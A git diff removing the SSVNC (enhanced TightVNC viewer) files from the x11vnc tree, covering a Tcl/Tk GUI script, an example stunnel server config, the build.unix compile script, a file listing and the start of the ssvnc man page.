- ssl_ssh_adjust ssh
-} else {
- ssl_ssh_adjust ssl
-}
-
-frame .b
-button .b.help -text "Help" -command help
-button .b.certs -text "Certs ..." -command getcerts
-button .b.opts -text "Options ..." -command set_options
-button .b.load -text "Load" -command {load_profile}
-button .b.save -text "Save" -command {save_profile}
-button .b.conn -text "Connect" -command launch
-button .b.exit -text "Exit" -command {destroy .; exit}
-
-
-if {$ssh_only || $ts_only} {
- pack .b.opts .b.save .b.load .b.conn .b.help .b.exit -side left -expand 1 -fill x
-} else {
- pack .b.certs .b.opts .b.save .b.load .b.conn .b.help .b.exit -side left -expand 1 -fill x
-}
-
-if {$multientry} {
- if {! $is_windows} {
- if {$ssh_only} {
- pack .l .f0 .f1 .f2 .f3 .b -side top -fill x
- } elseif {$ts_only} {
- pack .l .f0 .f2 .b -side top -fill x
- } else {
- pack .l .f0 .f1 .f2 .f3 .f4 .b -side top -fill x
- }
- } else {
- if {$ssh_only} {
- pack .l .f0 .f2 .f3 .b -side top -fill x
- } elseif {$ts_only} {
- pack .l .f0 .f2 .b -side top -fill x
- } else {
- pack .l .f0 .f2 .f3 .f4 .b -side top -fill x
- }
- }
-} else {
- pack .l .f0 .b -side top -fill x
-}
-if {![info exists env(SSVNC_GUI_CHILD)] || $env(SSVNC_GUI_CHILD) == ""} {
- center_win .
-}
-focus .f0.e
-
-wm deiconify .
-
-global system_button_face
-set system_button_face ""
-foreach item [.b.help configure -bg] {
- set system_button_face $item
-}
-
-if {[info exists env(SSVNC_GUI_CMD)]} {
- set env(SSVNC_GUI_CHILD) 1
- bind . <Control-n> "exec $env(SSVNC_GUI_CMD) &"
-}
-bind . <Control-q> "destroy .; exit"
-bind . <Shift-Escape> "destroy .; exit"
-bind . <Control-s> "launch_shell_only"
-bind . <Control-p> {port_knock_only "" "KNOCK"}
-bind . <Control-P> {port_knock_only "" "FINISH"}
-bind . <Control-l> {load_profile}
-bind . <B3-ButtonRelease> {load_profile}
-
-bind . <Control-t> {toggle_tsonly}
-bind . <Control-d> {delete_profile}
-bind . <Shift-B3-ButtonRelease> {toggle_tsonly}
-bind . <Shift-B2-ButtonRelease> {toggle_tsonly}
-bind .l <Shift-ButtonRelease> {toggle_tsonly}
-bind . <Control-h> {toggle_sshonly}
-bind . <Control-T> {to_ssvnc}
-bind . <Control-a> {set_advanced_options}
-bind . <Control-o> {set_options}
-bind . <Control-u> {set_ssvncviewer_options}
-bind . <Control-e> {toggle_no_encryption}
-
-global entered_gui_top button_gui_top
-set entered_gui_top 0
-set button_gui_top 0
-bind . <Enter> {set entered_gui_top 1}
-bind .l <ButtonPress> {set button_gui_top 1}
-bind .f0.l <ButtonPress> {set button_gui_top 1}
-
-update
-
-mac_raise
-
-set didload 0
-
-for {set i 0} {$i < $argc} {incr i} {
- set item [lindex $argv $i]
- regsub {^--} $item "-" item
- if {$item == "."} {
- ;
- } elseif {$item == "-nv"} {
- set always_verify_ssl 0
- } elseif {$item == "-help"} {
- help
- } elseif {$item == "-ssh"} {
- ;
- } elseif {$item == "-bigger"} {
- ;
- } elseif {$item == "-ts"} {
- ;
- } elseif {$item == "-ss"} {
- ;
- } elseif {$item == "-ssl"} {
- ;
- } elseif {$item == "-tso"} {
- ;
- } elseif {$item == "-mycert" || $item == "-cert"} {
- incr i
- } elseif {$item == "-cacert" || $item == "-ca"} {
- incr i
- } elseif {$item == "-crl"} {
- incr i
- } elseif {$item == "-printhelp"} {
- print_help
- exit;
- } elseif {$item != ""} {
- if {[file exists $item] && [file isfile $item]} {
- set didload 1
- load_profile . $item
- } else {
- set ok 0
- set dir [get_profiles_dir]
- set try "$dir/$item"
- foreach try [list $dir/$item $dir/$item.vnc] {
- if {[file exists $try] && [file isfile $try]} {
- load_profile . $try
- set ok 1
- break;
- }
- }
- if {! $ok && [regexp {:[0-9][0-9]*$} $item]} {
- global vncdisplay
- set vncdisplay $item
- set ok 1
- }
-
- if {! $ok} {
- if {$ts_only || $ssh_only} {
- global vncdisplay
- set vncdisplay $item
- set ok 1
- }
- }
- if {$ok} {
- update
- set didload 1
- if [info exists env(SSVNC_PROFILE_LOADONLY)] {
- if {$env(SSVNC_PROFILE_LOADONLY) == "1"} {
- set ok 0
- }
- }
- if {$ok} {
- after 750
- launch
- }
- }
- }
- }
-}
diff --git a/x11vnc/misc/enhanced_tightvnc_viewer/bin/util/stunnel-server.conf b/x11vnc/misc/enhanced_tightvnc_viewer/bin/util/stunnel-server.conf
deleted file mode 100644
index 327327a..0000000
--- a/x11vnc/misc/enhanced_tightvnc_viewer/bin/util/stunnel-server.conf
+++ /dev/null
@@ -1,38 +0,0 @@
-#
-# Example SSL stunnel SERVER configuration file. (e.g. for your VNC
-# server on this same machine.)
-#
-# To use this file you may need to edit it. Then you will need
-# to manually start up stunnel using it.
-# (e.g. /path/to/stunnel stunnel-server.conf)
-#
-# NOTE: You MUST specify a cert = PEM file line for server mode.
-# SSVNC or x11vnc can be used to create one if you like.
-#
-# This is just an example and is not used by the tools in this package.
-# It is here in case you wanted to see how to add SSL support to any
-# VNC server you have.
-#
-RNDbytes = 2048
-RNDfile = bananarand.bin
-RNDoverwrite = yes
-#
-# Remote client certs could go here:
-# CApath = /path/to/.../crt-dir
-# CAfile = /path/to/.../foo.crt
-# verify = 2
-#
-# The server cert goes here (**IT MUST BE SPECIFIED IN SERVER MODE**):
-# cert = /path/to/.../my.pem
-#
-[vnc]
-#
-# Set to local listening port number (e.g. 5901 for vnc display 1):
-# so the remote viewers would connect to: yourmachine:1
-#
-accept = 5901
-#
-# Set to localhost:port to connect to VNC server on this same machine:
-# (E.g. you run WinVNC on :0, preferably listening on localhost).
-#
-connect = localhost:5900
diff --git a/x11vnc/misc/enhanced_tightvnc_viewer/build.unix b/x11vnc/misc/enhanced_tightvnc_viewer/build.unix
deleted file mode 100755
index f84ef78..0000000
--- a/x11vnc/misc/enhanced_tightvnc_viewer/build.unix
+++ /dev/null
@@ -1,482 +0,0 @@
-#!/bin/sh
-
-# See the README in this directory for more info on using this script
-# (build.unix). Search for SSVNC_BUILD.
-#
-# Notes: to customize locations, e.g. for libjpeg, set LDFLAGS_OS and/or
-# CPPFLAGS_OS
-#
-# e.g. on Darwin we did:
-#
-# env LDFLAGS_OS="-L/Volumes/someplace/common/lib" CPPFLAGS_OS="-I /Volumes/someplace/common/include" ./build.unix
-#
-
-
-# Add useful directories to PATH:
-#
-PATH=$PATH:/usr/bin:/bin:/usr/local/bin:/usr/X11R6/bin:/usr/bin/X11:/usr/openwin/bin:/opt/SUNWspro/bin:/usr/sfw/bin:/usr/ccs/bin
-export PATH
-
-# Check location:
-#
-thisdir=`dirname "$0"`
-if [ ! -d ./bin -o ! -d src/patches -o ! -f ./build.unix ]; then
- echo ""
- echo "You must run this script from: $thisdir"
- echo ""
- echo "Maybe:"
- echo ""
- echo " cd $thisdir"
- echo " ./build.unix"
- if [ "X$BUILD_UNIX" != "X" ]; then
- sleep 2
- exit 1
- fi
- echo ""
- sleep 1
- printf "Do you want me to run those for you? y/[n] "
- read x
- if [ "X$x" = "Xy" ]; then
- BUILD_UNIX=1
- export BUILD_UNIX
- cd "$thisdir" || exit 1
- echo "pwd:"
- pwd
- sleep 1
- ./build.unix
- fi
-
- exit $?
-fi
-
-pline() {
- echo "------------------------------------------------------------------"
-}
-
-# Try to find osname.arch
-#
-name=$UNAME
-if [ "X$name" = "X" ]; then
- name=`uname -sm | sed -e 's/ /./g' -e 's/Linux\.i.86/Linux.i686/'`
-fi
-if [ "X$name" = "X" ]; then
- echo "cannot determine platform: os.arch, e.g. Linux.i686"
- echo "set \$UNAME manually and retry."
- exit 1
-fi
-
-LDD="ldd"
-if [ `uname` = "Darwin" ]; then
- LDD="otool -L"
-fi
-
-# Create a tmp dir for this build:
-#
-tmp=./src/tmp/$name.$$
-if [ "X$TMPDIR" != "X" ]; then
- tmp="$TMPDIR/$tmp"
-fi
-mkdir -p $tmp || exit 1
-
-# Do ultraftp Java viewer (only):
-#
-if [ "X$SSVNC_BUILD_ULTRAFTP" != "X" ]; then
- ultraftp_tar=`ls -td ./src/zips/ultraftp.tar* | head -1`
- if [ ! -f $ultraftp_tar ]; then
- echo "could not locate ultraftp java vnc viewer source"
- exit 1
- fi
- echo ""
- pline
- echo "BUILDING THE ULTRAFTP HELPER JAR"
- echo ""
- sleep 1
-
- cat $ultraftp_tar | (cd $tmp; tar xvf -) || exit 1
- cd $tmp/ultraftp || exit 1
- pwd
- echo
- make install
-
- exit 0 # DONE
-fi
-
-# Work out main destination:
-#
-dest=./bin/$name
-if [ -d $dest ]; then
- if [ "X$SSVNC_BUILD_FORCE_OVERWRITE" = "X" ]; then
- printf "$dest exists. overwrite in it? [y]/n "
- read x
- if [ "X$x" = "Xn" ]; then
- exit
- fi
- else
- echo "$dest exists. overwriting in it."
- fi
- if [ "X$SSVNC_BUILD_SKIP_VIEWER" = "X" ]; then
- if [ `uname` = "Darwin" ]; then
- rm -f $dest/vncviewer.x11*
- else
- rm -f $dest/vncviewer*
- fi
- fi
- if [ "X$SSVNC_BUILD_SKIP_STUNNEL" = "X" ]; then
- rm -f $dest/stunnel*
- fi
-fi
-mkdir -p $dest || exit 1
-
-
-# Try to find some static archives of various libraries:
-#
-libs="$tmp/libs"
-mkdir -p $libs || exit 1
-for liba in libz.a libjpeg.a libssl.a libcrypto.a
-do
- if [ "X$SSVNC_BUILD_STATIC" = "X" ]; then
- break
- fi
- for dir in $SSVNC_STATIC_DIRS /usr/lib /lib /usr/local/lib /usr/pkg/lib /usr/sfw/lib /usr/openwin/lib
- do
- if [ "X$dir" = "X" ]; then
- continue
- fi
- if [ "$name" = "Linux.x86_64" -o "$name" = "Linux.ppc64" ] ; then
- dir64=`echo "$dir" | sed -e 's,lib,lib64,'`
- if [ "X$SSVNC_BUILD_NO_LINUX64" != "X" ]; then
- :
- elif [ -d $dir64 ]; then
- dir=$dir64
- fi
- fi
- try="$dir/$liba"
- if [ -f $try ]; then
- echo cp -p "$try" $libs
- cp -p "$try" $libs
- break
- fi
- done
-done
-if [ "X$SSVNC_BUILD_STATIC" != "X" ]; then
- echo "Found these static archive libraries, will try to use them..."
- ls -ld $libs
- ls -l $libs
- echo
-fi
-
-have_gcc=""
-if type gcc > /dev/null; then
- have_gcc=1
-fi
-have_cc=""
-if type cc > /dev/null; then
- have_cc=1
-fi
-
-if [ "X$have_cc" = "X" ]; then
- if [ "X$have_gcc" = "X1" ]; then
- cat > $tmp/cc <<END
-#!/bin/sh
-gcc "\$@"
-END
- chmod 755 $tmp/cc
- PATH=$PATH:`pwd`/$tmp
- type cc
- type gcc
- fi
-fi
-
-if [ -d /var/tmp/LIBS -a "X$SSVNC_BUILD_STATIC" != "X" ]; then
- LDFLAGS_OS="$LDFLAGS_OS -L/var/tmp/LIBS"
-fi
-
-if [ `uname` = "SunOS" ]; then
- LDFLAGS_OS="$LDFLAGS_OS -L/usr/sfw/lib -R/usr/sfw/lib"
- CPPFLAGS_OS="$CPPFLAGS_OS -I /usr/sfw/include"
-elif uname | grep -i bsd > /dev/null; then
- LDFLAGS_OS="$LDFLAGS_OS -L/usr/local/lib -L/usr/pkg/lib"
- CPPFLAGS_OS="$CPPFLAGS_OS -I /usr/local/include -I /usr/pkg/include"
-fi
-
-cnt=`ls ./src/patches/*.patch | wc -c`
-if [ $cnt -lt 1 ]; then
- echo "Could not find any patches in ./src/patches. Is your tarball missing them?"
- exit 1
-fi
-
-pline() {
- echo "------------------------------------------------------------------"
-}
-
-# Do tightvnc viewer:
-#
-if [ "X$SSVNC_BUILD_SKIP_VIEWER" = "X" ]; then
- tight_src=`ls -td ./src/vnc_unixsrc* | head -1`
- if [ ! -d $tight_src ]; then
- echo "could not locate tight vnc viewer source"
- exit 1
- fi
- echo ""
- pline
- echo "BUILDING THE VNCVIEWER"
- echo ""
- sleep 1
-
- cp -pR "$tight_src" "$tmp/vnc_unixsrc" || exit 1
-
- echo "applying tight vnc patches:"
- start=`pwd`
- cd $tmp;
- failed=0
- count=0
- patches="../../patches/tight-vncviewer-full.patch"
- if [ ! -f "$patches" ]; then
- patches=`ls ../../patches/tight* | grep -v 'tight-vncviewer-full.patch'`
- fi
- for patch in $patches
- do
- if [ ! -f "$patch" ]; then
- continue
- fi
- if [ "X$PATCH_FAIL" != "X" ]; then
- failed=1
- break
- fi
- echo PATCHING WITH: "$patch"
- ls -l "$patch"
- sleep 1
- patch -p0 < "$patch"
- if [ $? != 0 ]; then
- failed=`expr $failed + 1`
- else
- count=`expr $count + 1`
- fi
- done
- sleep 1
- cd "$start"
- if [ $failed != 0 -o $count = 0 ]; then
- ball=src/zips/vnc_unixsrc_vncviewer.patched.tar
- echo "patches failed, trying to use backup tarball:"
- ls -l $ball
- sleep 2
- cat $ball | (cd $tmp; tar -xvf -)
- fi
- echo
-
-
- cd $tmp/vnc_unixsrc
- xmkmf
- make Makefiles
- mv vncviewer/Makefile vncviewer/Makefile.orig
- sed -e "s,EXTRA_LDOPTIONS =,EXTRA_LDOPTIONS = -L$start/$libs $LDFLAGS_OS," \
- -e "s,CCOPTIONS =,CCOPTIONS = $CPPFLAGS_OS," \
- vncviewer/Makefile.orig > vncviewer/Makefile
-
- if [ `uname` = "SunOS" ]; then
- for d in vncviewer libvncauth vncconnect vncpasswd
- do
- mv $d/Makefile $d/Makefile.orig
- sed -e "s,CCOPTIONS =.*\$,CCOPTIONS = $CPPFLAGS_OS," \
- $d/Makefile.orig > $d/Makefile
- done
- fi
-
- make depend
- echo $PATH
- if [ "X$TURBOVNC" = "X" ]; then
- make all
- else
- make CCOPTIONS="-DTURBOVNC $CPPFLAGS_OS" EXTRA_LIBRARIES="$TURBOVNC" all
- fi
- ls -l vncviewer/vncviewer
- cd "$start"
- src=$tmp/vnc_unixsrc/vncviewer/vncviewer
- sync
- sleep 2
- sync
- strip $src
- sync
- sleep 2
- sync
- wc $src
- sum $src
- sleep 2
-
- suff=""
- if [ `uname` = "Darwin" ]; then
- suff=".x11"
- fi
- if [ "X$TURBOVNC" != "X" ]; then
- suff="$suff.turbovnc"
- fi
- echo cp -p $src $dest/vncviewer$suff
- sleep 1
- cp -p $src $dest/vncviewer$suff || exit 1
-
- echo
- pline
- echo "LISTING, HELP, and LDD THE VNCVIEWER:"
- echo
- sleep 1
-
- ls -l $src $dest/vncviewer$suff
- echo
- echo $dest/vncviewer$suff -h
- echo
- $dest/vncviewer$suff -h
- echo
- echo $LDD $dest/vncviewer$suff
- echo
- $LDD $dest/vncviewer$suff
- echo ""
-fi
-
-# Do stunnel:
-#
-if [ "X$SSVNC_BUILD_SKIP_STUNNEL" = "X" ]; then
- stunnel_src=`ls -td ./src/stunnel* | head -1`
- if [ ! -d $stunnel_src ]; then
- echo "could not locate stunnel source"
- exit 1
- fi
- echo ""
- pline
- echo "BUILDING THE STUNNEL"
- echo ""
- sleep 1
-
- cp -pR "$stunnel_src" "$tmp/stunnel" || exit 1
-
- echo "applying stunnel patches:"
- start=`pwd`
- cd $tmp;
- failed=0
- count=0
- for patch in ../../patches/stunnel*
- do
- if [ ! -f "$patch" ]; then
- continue
- fi
- if [ "X$PATCH_FAIL" != "X" ]; then
- failed=1
- break
- fi
- echo PATCHING WITH: "$patch"
- ls -l "$patch"
- sleep 1
- patch -p0 < $patch
- if [ $? != 0 ]; then
- failed=`expr $failed + 1`
- else
- count=`expr $count + 1`
- fi
- done
- sleep 1
- cd "$start"
- if [ $failed != 0 -o $count = 0 ]; then
- ball=src/zips/stunnel.patched.tar
- echo "patches failed, trying to use backup tarball:"
- ls -l $ball
- sleep 2
- cat $ball | (cd $tmp; tar -xvf -)
- fi
- echo
-
-
- cd $tmp/stunnel
- if [ `uname` = "SunOS" ]; then
- cp configure configure.orig
- sed -e "s,maindir in,maindir in /usr/sfw," configure.orig > configure
- fi
- env LDFLAGS="-L$start/$libs $LDFLAGS_OS" CPPFLAGS="$CPPFLAGS_OS" ./configure --disable-libwrap --enable-ipv6
- make
- ls -l src/stunnel
- cd "$start"
- src=$tmp/stunnel/src/stunnel
- sync
- sleep 2
- sync
- strip $src
- sync
- sleep 2
- sync
- wc $src
- sum $src
- sleep 2
- echo cp -p $src $dest/stunnel
- cp -p $src $dest/stunnel || exit 1
- sleep 1
- cp -p $src $dest/stunnel || exit 1
-
- echo
- pline
- echo "LISTING, HELP, and LDD THE STUNNEL:"
- echo
- sleep 1
-
- ls -l $src $dest/stunnel
- echo
- echo $dest/stunnel -help
- echo
- $dest/stunnel -help
- echo
- echo $LDD $dest/stunnel
- echo
- $LDD $dest/stunnel
- echo ""
-fi
-
-# Do vncstorepw and ld preload friends:
-#
-if [ "X$SSVNC_BUILD_SKIP_VNCSTOREPW" = "X" ]; then
- vncpw_tar=`ls -td ./src/zips/vncstorepw* | head -1`
- if [ ! -f $vncpw_tar ]; then
- echo "could not locate vncstorepw source"
- exit 1
- fi
- echo ""
- pline
- echo "BUILDING THE VNCSTOREPW AND FRIENDS"
- echo ""
- sleep 1
-
- cat "$vncpw_tar" | (cd $tmp; tar xvf -)
-
- cd $tmp/vncstorepw
- make
-
- cd "$start"
- cp -p $tmp/vncstorepw/vncstorepw $tmp/vncstorepw/lim_accept.so $dest
- echo ""
-
- cd $tmp/vncstorepw
- make clean
-
- env LD_SSL="-L$start/$libs $LDFLAGS_OS $LD_SSL" CPP_SSL="$CPPFLAGS_OS" make ultravnc_dsm_helper
-
- cd "$start"
- cp -p $tmp/vncstorepw/ultravnc_dsm_helper $dest
- echo ""
-fi
-
-
-if [ "X$SSVNC_BUILD_SKIP_VIEWER" = "X" -a "X$SSVNC_BUILD_SKIP_STUNNEL" = "X" ]; then
- # list the viewer again.
-
- echo
- pline
- echo "LISTING, HELP, and LDD THE VNCVIEWER (again):"
- echo
- sleep 1
-
- ls -l $dest/vncviewer$suff
- echo
- echo $dest/vncviewer$suff -h
- echo
- $dest/vncviewer$suff -h
- echo
- echo $LDD $dest/vncviewer$suff
- echo
- $LDD $dest/vncviewer$suff
-fi
diff --git a/x11vnc/misc/enhanced_tightvnc_viewer/filelist.txt b/x11vnc/misc/enhanced_tightvnc_viewer/filelist.txt
deleted file mode 100644
index d104f25..0000000
--- a/x11vnc/misc/enhanced_tightvnc_viewer/filelist.txt
+++ /dev/null
@@ -1,280 +0,0 @@
-3277703 4 drwxr-xr-x 6 runge runge 4096 Sep 13 21:28 .
-3277704 4 drwxr-xr-x 7 runge runge 4096 Aug 2 10:05 ./src
-3277781 4 drwxr-xr-x 2 runge runge 4096 Aug 2 10:09 ./src/zips
-3277782 484 -rw-r--r-- 1 runge runge 488512 Jul 25 15:09 ./src/zips/stunnel-4.14.tar.gz
-3277783 212 -rw-r--r-- 1 runge runge 209149 Jul 25 15:10 ./src/zips/tightvnc-1.3dev7_x86_viewer.zip
-3277784 2136 -rw-r--r-- 1 runge runge 2182134 Jul 25 15:11 ./src/zips/tightvnc-1.3dev7_unixsrc.tar.gz
-3277792 4 -rw-r--r-- 1 runge runge 753 Aug 2 10:09 ./src/zips/README
-3277786 364 -rw-r--r-- 1 runge runge 368640 Jul 27 19:06 ./src/zips/vnc_unixsrc_vncviewer.patched.tar
-3277787 1996 -rw-r--r-- 1 runge runge 2037760 Jul 31 23:42 ./src/zips/stunnel.patched.tar
-2982849 4 drwxr-xr-x 2 runge runge 4096 Sep 10 14:37 ./src/patches
-2982852 4 -rw-r--r-- 1 runge runge 3750 Feb 5 2005 ./src/patches/tight-vncviewer-alphahack.patch
-2982854 4 -rw-r--r-- 1 runge runge 1143 Jul 25 15:25 ./src/patches/tight-vncviewer-fullscreen.patch
-2982865 8 -rw-r--r-- 1 runge runge 7633 Jul 27 19:01 ./src/patches/tight-vncviewer-newfbsize.patch
-2982955 4 -rwxr-xr-x 1 runge runge 1529 Sep 10 12:07 ./src/patches/_bundle
-2982877 4 -rwxr-xr-x 1 runge runge 78 Jul 27 14:41 ./src/patches/_getpatches
-2983012 4 -rw-r--r-- 1 runge runge 4072 Jul 31 22:59 ./src/patches/stunnel-maxconn.patch
-2982878 4 -rwxr-xr-x 1 runge runge 117 Jul 27 19:06 ./src/patches/_vncpatchapplied
-2982880 4 -rw-r--r-- 1 runge runge 223 Aug 24 10:11 ./src/patches/README
-2982850 4 drwxr-xr-x 8 runge runge 4096 Jul 25 15:21 ./src/vnc_unixsrc
-2982885 4 -rw-r--r-- 1 runge runge 356 Apr 30 2002 ./src/vnc_unixsrc/Imakefile
-2982886 20 -rw-r--r-- 1 runge runge 18000 Jun 11 2000 ./src/vnc_unixsrc/LICENCE.TXT
-2982887 12 -rw-r--r-- 1 runge runge 8341 Jul 4 2005 ./src/vnc_unixsrc/README
-2982888 12 -rw-r--r-- 1 runge runge 9682 Jul 4 2005 ./src/vnc_unixsrc/tightvnc.spec
-2982889 4 -rw-r--r-- 1 runge runge 486 Aug 30 2002 ./src/vnc_unixsrc/vnc-xclients.patch
-2982890 4 -rwxr-xr-x 1 runge runge 2042 Mar 19 2002 ./src/vnc_unixsrc/vncinstall
-2982891 16 -rwxr-xr-x 1 runge runge 15239 Jul 4 2005 ./src/vnc_unixsrc/vncserver
-2982892 4 -rwxr-xr-x 1 runge runge 1726 Aug 30 2002 ./src/vnc_unixsrc/vncserver.init
-2982893 4 -rw-r--r-- 1 runge runge 3070 Aug 7 2002 ./src/vnc_unixsrc/vncserver.man
-4359127 4 drwxr-xr-x 2 runge runge 4096 Jul 27 16:25 ./src/vnc_unixsrc/classes
-2851413 4 drwxr-xr-x 2 runge runge 4096 Jul 5 2005 ./src/vnc_unixsrc/include
-2851414 44 -rw-r--r-- 1 runge runge 43296 May 27 2004 ./src/vnc_unixsrc/include/rfbproto.h
-2851415 4 -rw-r--r-- 1 runge runge 1166 Jun 11 2000 ./src/vnc_unixsrc/include/vncauth.h
-2851416 4 drwxr-xr-x 2 runge runge 4096 Jul 5 2005 ./src/vnc_unixsrc/libvncauth
-2851417 4 -rw-r--r-- 1 runge runge 199 Apr 30 2002 ./src/vnc_unixsrc/libvncauth/Imakefile
-2851418 16 -rw-r--r-- 1 runge runge 15487 Jun 11 2000 ./src/vnc_unixsrc/libvncauth/d3des.c
-2851419 4 -rw-r--r-- 1 runge runge 1618 Jun 11 2000 ./src/vnc_unixsrc/libvncauth/d3des.h
-2851420 8 -rw-r--r-- 1 runge runge 5879 Mar 1 2003 ./src/vnc_unixsrc/libvncauth/vncauth.c
-2851421 4 drwxr-xr-x 2 runge runge 4096 Jul 5 2005 ./src/vnc_unixsrc/vncconnect
-2851422 4 -rw-r--r-- 1 runge runge 163 Apr 30 2002 ./src/vnc_unixsrc/vncconnect/Imakefile
-2851423 4 -rw-r--r-- 1 runge runge 1167 Nov 10 2000 ./src/vnc_unixsrc/vncconnect/vncconnect.c
-2851424 4 -rw-r--r-- 1 runge runge 1083 Feb 5 2003 ./src/vnc_unixsrc/vncconnect/vncconnect.man
-2851425 4 drwxr-xr-x 2 runge runge 4096 Jul 5 2005 ./src/vnc_unixsrc/vncpasswd
-2851426 4 -rw-r--r-- 1 runge runge 256 Apr 30 2002 ./src/vnc_unixsrc/vncpasswd/Imakefile
-2851427 8 -rw-r--r-- 1 runge runge 7681 Mar 1 2003 ./src/vnc_unixsrc/vncpasswd/vncpasswd.c
-2851428 4 -rw-r--r-- 1 runge runge 3222 Mar 1 2003 ./src/vnc_unixsrc/vncpasswd/vncpasswd.man
-2851429 4 drwxr-xr-x 2 runge runge 4096 Aug 3 19:10 ./src/vnc_unixsrc/vncviewer
-2851430 4 -rw-r--r-- 1 runge runge 1057 Mar 12 2003 ./src/vnc_unixsrc/vncviewer/Imakefile
-2851431 16 -rw-r--r-- 1 runge runge 12375 Jul 4 2005 ./src/vnc_unixsrc/vncviewer/README
-2851432 4 -rw-r--r-- 1 runge runge 3198 Feb 7 2003 ./src/vnc_unixsrc/vncviewer/Vncviewer
-2851433 16 -rw-r--r-- 1 runge runge 14159 Jul 4 2005 ./src/vnc_unixsrc/vncviewer/argsresources.c
-2851434 8 -rw-r--r-- 1 runge runge 5362 Apr 1 2003 ./src/vnc_unixsrc/vncviewer/caps.c
-2851435 4 -rw-r--r-- 1 runge runge 2074 Apr 1 2003 ./src/vnc_unixsrc/vncviewer/caps.h
-2851436 16 -rw-r--r-- 1 runge runge 15568 Apr 30 2002 ./src/vnc_unixsrc/vncviewer/colour.c
-2851437 4 -rw-r--r-- 1 runge runge 2295 Jun 11 2000 ./src/vnc_unixsrc/vncviewer/corre.c
-2851438 16 -rw-r--r-- 1 runge runge 14504 Jan 15 2003 ./src/vnc_unixsrc/vncviewer/cursor.c
-2851439 12 -rw-r--r-- 1 runge runge 11832 May 28 2004 ./src/vnc_unixsrc/vncviewer/desktop.c
-2851440 4 -rw-r--r-- 1 runge runge 2621 Oct 26 2000 ./src/vnc_unixsrc/vncviewer/dialogs.c
-2851441 12 -rw-r--r-- 1 runge runge 11671 Oct 9 2003 ./src/vnc_unixsrc/vncviewer/fullscreen.c
-2851442 4 -rw-r--r-- 1 runge runge 3639 Jun 11 2000 ./src/vnc_unixsrc/vncviewer/hextile.c
-2851443 8 -rw-r--r-- 1 runge runge 7463 Jan 16 2001 ./src/vnc_unixsrc/vncviewer/listen.c
-2851444 12 -rw-r--r-- 1 runge runge 9120 Jan 15 2003 ./src/vnc_unixsrc/vncviewer/misc.c
-2851445 4 -rw-r--r-- 1 runge runge 2749 Jun 11 2000 ./src/vnc_unixsrc/vncviewer/popup.c
-2851446 40 -rw-r--r-- 1 runge runge 38923 Mar 11 2004 ./src/vnc_unixsrc/vncviewer/rfbproto.c
-2851447 4 -rw-r--r-- 1 runge runge 2411 Jun 11 2000 ./src/vnc_unixsrc/vncviewer/rre.c
-2851448 12 -rw-r--r-- 1 runge runge 9985 Mar 3 2004 ./src/vnc_unixsrc/vncviewer/selection.c
-2851449 4 -rw-r--r-- 1 runge runge 2439 Jun 11 2000 ./src/vnc_unixsrc/vncviewer/shm.c
-2851450 12 -rw-r--r-- 1 runge runge 9253 Jan 14 2001 ./src/vnc_unixsrc/vncviewer/sockets.c
-2851451 16 -rw-r--r-- 1 runge runge 16069 Apr 30 2002 ./src/vnc_unixsrc/vncviewer/tight.c
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diff --git a/x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvnc.1 b/x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvnc.1
deleted file mode 100644
index 60c60de..0000000
--- a/x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvnc.1
+++ /dev/null
@@ -1,233 +0,0 @@
-'\" t
-.\" ** The above line should force tbl to be a preprocessor **
-.\" Man page for the SSVNC vncviewer
-.\"
-.\" Copyright (C) 2006-2009 Karl J. Runge <runge@karlrunge.com>
-.\"
-.\" You may distribute under the terms of the GNU General Public
-.\" License as specified in the file LICENCE.TXT that comes with the
-.\" TightVNC distribution.
-.\"
-.TH ssvnc 1 "December 2009" "" "SSVNC"
-.SH NAME
-ssvnc \- a GUI wrapper for SSL and SSH VNC connections.
-.SH SYNOPSIS
-.B ssvnc
-.br
-.B ssvnc
-.RI [\| host \|][\| :display \|]
-.br
-.B ssvnc
-.RI [\| saved-profile-name \|]
-.br
-.B ssvnc
-.RI [\| options \|]\ [\| host-or-profile \]
-.br
-.B ssvnc
-.IR \-cmd
-.RI [\| ssvnc_cmd-args \|]
-.br
-.B ssvnc
-.IR \--help
-.br
-.SH DESCRIPTION
-.B ssvnc
-is a tcl/tk gui wrapper that runs on Unix, MacOSX, and Windows.
-It sets up an SSL or SSH tunnel to the remote VNC Server and then launches
-the VNC viewer (either the one provided or another one that you have
-specified) to use that encrypted tunnel to connect to the VNC Server.
-The use of Proxies and Gateways to make the connections is implemented.
-
-Once you have started the SSVNC gui, you can click on the buttons
-"Help", "Options -> Help", "Certs -> Help", etc. for much information
-on how to use and configure the tool.
-
-In short, you supply a VNC server "hostname:display" in the
-"VNC Host:Display" entry box and then press the "Connect" button to
-connect to the server via SSL (stunnel). E.g. "far-away.east:0".
-Port numbers are also allowed, e.g. far-away.east:5905.
-
-Or supply user@hostname:display and click on the "Use SSH" option, then
-press the "Connect" button to connect to the server via an SSH tunnel.
-E.g. "fred@far-away.east:0".
-
-Note it is also possible to disable the use of SSL/SSH
-encryption tunnels by using a vnc:// or Vnc:// prefix before
-host:display. Shift+Ctrl-E is a short-cut to add/remove it.
-See also the \fB-noenc\fR option below for the 'No Encryption' button.
-
-Normally you do not specify any command line options. You simply
-run \fBssvnc\fR and use the GUI that starts up.
-
-However, as shortcuts you can supply a VNC host:display (or host:port)
-on the command line to connect to immediately (the GUI is started
-and the connection is initiated). For example, "\fBssvnc far-away.east:0\fR"
-Instead of a host:display, you can specify the name of a saved profile to
-automatically load that profile and then connect to its server.
-For example "\fBssvnc far\fR", if you named the profile "far".
-You can use the \fB-profiles\fR option to list the profiles you have saved.
-
-The related commands \fBsshvnc\fR and \fBtsvnc\fR start up the GUI in
-simplified modes: SSH Only Mode, and Terminal Services Mode, respectively.
-See below and the application Help for more information on the modes.
-
-You can also place certain settings in your ~/.ssvncrc, see the
-SSVNC Help panel ('Tips') for more info.
-
-The \fB-cmd\fR option does not start the GUI, it runs the command
-line utility \fBssvnc_cmd\fR directly with the given arguments.
-\fBssvnc_cmd\fR can launch the viewer directly (\fB-viewer ...\fR)
-or, by default, the \fBss_vncviewer\fR SSL/SSH tunnel wrapper script.
-See its help output for more information.
-
-There are also some command line options described as follows.
-.SH OPTIONS
-.TP
-\fB\-help\fR, \fB\-h\fR
-Prints out to the terminal a brief description and the options.
-.TP
-\fB\--help\fR
-Starts up the GUI as though the 'Help' button was pressed to show the
-main Help panel.
-.TP
-\fB\-cmd\fR \fI[ssvnc_cmd-args]\fR
-Launch the ssvnc_cmd utility command directly (no GUI) with the given
